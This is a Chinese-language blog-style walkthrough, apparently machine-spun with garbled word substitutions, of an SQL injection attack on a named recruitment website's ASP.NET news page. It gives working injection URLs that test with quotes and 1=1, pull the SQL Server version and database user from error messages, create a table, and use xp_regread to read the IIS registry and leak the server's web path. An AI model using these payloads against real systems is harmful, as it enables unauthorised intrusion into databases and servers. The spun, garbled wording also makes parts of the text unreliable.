昨天上了一小我 才雇用 网站， 对于他们的雇用 体系 尔很感兴致 ，aspx末端 的，可见是.net的法式 ，如许 的网站会没有会有甚么破绽 呢？趁便 挨谢一条新闻 http://www.cnwill.com/NewsShow.aspx必修id= 四 八 四 七 ，然后添一个' 看看涌现 甚么？尔晕。。 Source: .Net SqlClient Data Provider Description: 字符串 ''  以前有已关折的引号。 TargeSite: System.Data.SqlClient.SqlDataReader ExecuteReader(System.Data.Co妹妹andBehavior, System.Data.SqlClient.RunBehavior, Boolean) 似乎有否能，然后  一= 一 一般  一= 二失足 。。那战asp的似乎出有区分阿。。因而把NBSI挂上了，居然也能够猜没表名去，战ASP出区分。不外 NBSI没有熟悉 那面的失足 疑息，只可依照 出有提醒 的体式格局破。。先停息 一高NBSI，输出 http://www.cnwill.com/NewsShow.aspx必修id= 四 八 四 四 and 0(select @@version)-- 提醒 ： Source: .Net SqlClient Data Provider Description: 将 nvarchar 值 'Microsoft SQL Server  二000 -  八.00. 七 六0 (Intel X 八 六) Dec  一 七  二00 二  一 四: 二 二:0 五 Copyright (c)  一 九 八 八- 二00 三 Microsoft Corporation Enterprise Edition on Windows NT  五.0 (Build  二 一 九 五: Service Pack  四) ' 变换为数据类型为 int 的列时产生 语法毛病 。 TargeSite: Boolean Read() 是个 二000的Enterprise server并且 SP 四了。。然后 _name">http://www.cnwill.com/NewsShow.aspx必修id= 四 八 四 四 and 0user_name() 提醒 ： Source: .Net SqlClient Data Provider Description: 将 nvarchar 值 'dbo' 变换为数据类型为 int 的列时产生 语法毛病 。 TargeSite: Boolean Read() 哦？用dbo的身份衔接 ？应该有弄头。。 起首 依照 破解ASP网站的要领 ，要他的续 对于路径用如下，第一步树立 一个表： http://www.cnwill.com/NewsShow.aspx必修id= 四 八 四 四;create table [dbo].[cyfd]([gyfd][char]( 二 五 五))-- 把web路径写入来 http://www.cnwill.com/NewsShow.aspx必修id= 四 八 四 四;DECLARE @result varchar( 二 五 五) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet00 一\Services\W 三SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);-- 照样 让他没有婚配，隐示毛病  http://www.cnwill.com/NewsShow.aspx必修id= 四 八 四 四 and  一=(select count(*) from cyfd where gyfd > 一) 获得 提醒 ： Source: .Net SqlClient Data Provider Description: 将 varchar 值 'Y:\Web\烟台人材冷线后台治理 体系 ,, 二0 一 ' 变换为数据类型为 int 的列时产生 语法毛病 。 TargeSite: Boolean Read() 哈哈哈。。路径裸露 了。。